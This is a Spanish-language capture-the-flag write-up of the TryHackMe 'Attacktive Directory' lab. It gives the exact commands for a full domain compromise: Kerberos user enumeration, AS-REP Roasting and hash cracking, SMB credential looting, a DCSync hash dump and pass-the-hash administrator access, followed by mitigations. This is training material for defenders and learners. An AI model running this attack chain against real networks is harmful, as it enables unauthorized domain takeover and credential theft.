Ir al contenido

Write-up: Attacktive Directory (TryHackMe)

Guía en Español
17 de marzo de 2026 por
Write-up: Attacktive Directory (TryHackMe)
Gerardo


1. Introducción y Objetivos

En este laboratorio abordaremos la máquina "Attacktive Directory" de TryHackMe. El objetivo principal es realizar una auditoría de seguridad completa sobre un Controlador de Dominio (Domain Controller) para comprender las vulnerabilidades más comunes en entornos de Active Directory (AD).

El Directorio Activo es la columna vertebral de la mayoría de las redes corporativas, gestionando identidades, autenticación y permisos. Comprometer un Controlador de Dominio otorga al atacante control total sobre toda la red, los usuarios y los recursos de la organización.

Metodología y Flujo del Ataque

Para comprometer este servidor, seguiremos una metodología estructurada en las siguientes fases:

  1. Reconocimiento: Escaneo de puertos y servicios para identificar el entorno.

  2. Enumeración de Usuarios (Kerbrute): Descubrimiento de usuarios válidos interactuando con Kerberos.

  3. Explotación (AS-REP Roasting): Obtención de hashes de usuarios con configuraciones inseguras (sin pre-autenticación).

  4. Movimiento Lateral (SMB): Acceso a recursos compartidos y hallazgo de credenciales ocultas.

  5. Escalada de Privilegios (DCSync): Abuso de privilegios de respaldo para volcar la base de datos NTDS.dit.

  6. Dominio Total (Pass-The-Hash): Acceso final como Administrador.


2. Reconocimiento y Escaneo

Comenzamos realizando un escaneo de puertos con nmap para identificar los servicios expuestos en el objetivo.

Terminal - Kali Linux

nmap -p- –open -sS –min-rate 5000 -vvv -n -Pn <IP_MAQUINA>
        

Una vez detectados los puertos abiertos, lanzamos un escaneo de servicios y versiones:


Terminal - Kali Linux

nmap -sCV -p53,80,135,139,445,464,3268,3389,5985,9389,47001 -oN escaneo <IP_MAQUINA>
        
Análisis de Resultados

El escaneo confirma que esta máquina es el Controlador de Dominio (DC).

  • Identidad del Objetivo:

    • Dominio: spookysec.local

    • Hostname: ATTACKTIVEDIREC

 


  • Puertos Críticos:

    • 53 (DNS) y 3268 (LDAP): Confirman la presencia de Active Directory.

    • 80 (HTTP): Servidor IIS activo.

    • 139/445 (SMB): Vital para enumeración y movimiento lateral.

    • 88 (Kerberos): Puerto estándar para autenticación en AD.

    • 5985 (WinRM): Servicio de administración remota (posible vía de acceso si obtenemos credenciales).




Nota Importante: Antes de continuar, es necesario agregar la IP y el dominio al archivo /etc/hosts para que las herramientas de Kerberos funcionen correctamente:

Terminal - Kali Linux

echo "<IP_MAQUINA> spookysec.local attacktivedirec.spookysec.local" | sudo tee -a /etc/hosts
        


3. Enumeración Inicial

Intento con Enum4Linux

Intentamos enumerar usuarios y recursos compartidos utilizando enum4linux:

Terminal - Kali Linux

enum4linux -a <IP_MAQUINA>
        
 


Resultado:

La herramienta logró conectarse mediante una sesión nula (Null Session), confirmando el SID del dominio THM-AD, pero falló al listar usuarios (NT_STATUS_ACCESS_DENIED). Esto nos obliga a utilizar un método más agresivo y específico para AD: Kerbrute.

4. Enumeración de Usuarios con Kerbrute

Utilizamos Kerbrute para validar nombres de usuario contra el servicio Kerberos. Esta herramienta es efectiva porque el DC responde de manera diferente si un usuario existe o no.

Paso 1: Escaneo General (Discovery)

Iniciamos la enumeración utilizando una lista extensa (xato-net-10-million-usernames.txt) para encontrar nombres comunes.

Terminal - Kali Linux

kerbrute userenum -d spookysec.local --dc <IP_MAQUINA> /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
        
 


Resultados iniciales:

La herramienta identificó rápidamente 6 usuarios válidos:

  • administrator

  • backup

  • james

  • robin

  • darkstar

  • paradox

Paso 2: Optimización y Búsqueda de Cuentas de Servicio

Dado que la lista utilizada es inmensa, optamos por filtrarla buscando patrones de Cuentas de Servicio (svc, admin, service), las cuales suelen ser vulnerables.

Comando de filtrado:

Terminal - Kali Linux

grep "svc" /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt > svc_users.txt
        


Ejecutamos Kerbrute con la lista optimizada:

Terminal - Kali Linux

kerbrute userenum -d spookysec.local --dc <IP_MAQUINA> svc_users.txt
        
 


Hallazgo Crítico:

Encontramos al usuario: svc-admin.

Paso 3: Consolidación

Creamos un archivo users.txt con todos los usuarios encontrados para la siguiente fase:

  • administrator
  • backup
  • james
  • robin
  • darkstar
  • paradox
  • svc-admin

5. Explotación: AS-REP Roasting

El ataque AS-REP Roasting consiste en buscar usuarios que tengan habilitada la opción "Do not require Kerberos preauthentication". Si es así, podemos solicitar su ticket (TGT) cifrado y crackearlo offline.

Comando ejecutado:
Terminal - Kali Linux


impacket-GetNPUsers spookysec.local/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast -dc-ip <IP_MAQUINA> -no-pass
        
 

Resultado:

Obtuvimos el hash del usuario svc-admin.

Cracking del Hash

Utilizamos Hashcat con el modo 18200 (Kerberos 5 AS-REP etype 23) y el diccionario rockyou.txt.

Terminal - Kali Linux

hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt
        
 


Contraseña obtenida: management2005

6. Enumeración de Recursos Compartidos (SMB)

Con las credenciales de svc-admin, accedemos a los recursos compartidos del servidor.

Terminal - Kali Linux

smbclient -L spookysec.local --user svc-admin
        
 


Hallazgo:

Entre los recursos por defecto (C$, IPC$), encontramos una carpeta atípica llamada backup. Accedemos a ella:

Terminal - Kali Linux

smbclient //spookysec.local/backup -U svc-admin
        
 


Dentro encontramos el archivo backup_credentials.txt que contiene una cadena en Base64.

Decodificación:

Terminal - Kali Linux

echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw" | base64 -d
        
 


Resultado: [email protected]:backup2517860

Nuevas credenciales obtenidas: Usuario: backup | Contraseña: backup2517860

7. Escalada de Privilegios (DCSync)

Las cuentas de respaldo (backup) a menudo poseen el privilegio SeBackupPrivilege o derechos de replicación. Aprovechamos esto para volcar la base de datos de contraseñas (NTDS.dit) del dominio usando secretsdump.

Comando ejecutado:

Terminal - Kali Linux

impacket-secretsdump spookysec.local/backup:backup2517860@<IP_MAQUINA>
        


Resultado:

La herramienta volcó exitosamente los hashes NTLM de todos los usuarios, incluyendo al Administrator.

Hash del Administrador:

Administrator:500:aad3b...:0e0363213e37b94221497260b0bcb4fc:::

8. Dominio Total: Pass-The-Hash

No necesitamos crackear el hash del Administrador. Podemos utilizar la técnica Pass-The-Hash para autenticarnos directamente usando evil-winrm.

Comando de acceso:

Terminal - Kali Linux

evil-winrm -i <IP_MAQUINA> -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
        


¡Acceso conseguido! Ahora tenemos una shell interactiva como Administrador del sistema.

Captura de Banderas (Flags)

Para finalizar el reto, leemos las banderas en los escritorios de los usuarios comprometidos:

svc-admin:
Terminal - Kali Linux

dir C:\Users\svc-admin\Desktop
        
Terminal - Kali Linux

type C:\Users\svc-admin\Desktop\<NOMBRE_DEL_ARCHIVO>
        


backup:
Terminal - Kali Linux

dir C:\Users\backup\Desktop
        
Terminal - Kali Linux

type C:\Users\backup\Desktop\<NOMBRE_DEL_ARCHIVO>
        


Administrator:
Terminal - Kali Linux

dir C:\Users\administrator\Desktop
        
Terminal - Kali Linux

type C:\Users\dministrator\Desktop\<NOMBRE_DEL_ARCHIVO>
        


9. Recomendaciones y Mitigación

Tras comprometer exitosamente el Controlador de Dominio, se han identificado tres vectores de ataque críticos. A continuación, se detallan las acciones correctivas recomendadas:

1. Mitigación de AS-REP Roasting
  • Problema: La cuenta svc-admin no requería pre-autenticación Kerberos.

  • Solución: Habilitar la "Pre-autenticación de Kerberos" para todas las cuentas de servicio. Si no es posible por compatibilidad, utilizar contraseñas extremadamente complejas (+25 caracteres) que resistan ataques de diccionario.

2. Gestión de Credenciales y SMB
  • Problema: Credenciales en texto plano (codificadas en Base64) almacenadas en una carpeta compartida accesible (backup).

  • Solución: Eliminar credenciales de archivos de texto. Restringir los permisos de lectura de los recursos compartidos bajo el principio de mínimo privilegio.

3. Restricción de Privilegios de Respaldo
  • Problema: La cuenta backup permitió un ataque DCSync para volcar todos los hashes del dominio.

  • Solución: Implementar un modelo de administración por niveles (Tiered Administration). Las cuentas con capacidad de replicar el dominio (Tier 0) deben estar fuertemente auditadas y restringidas.

Laboratorio completado exitosamente.



en CTF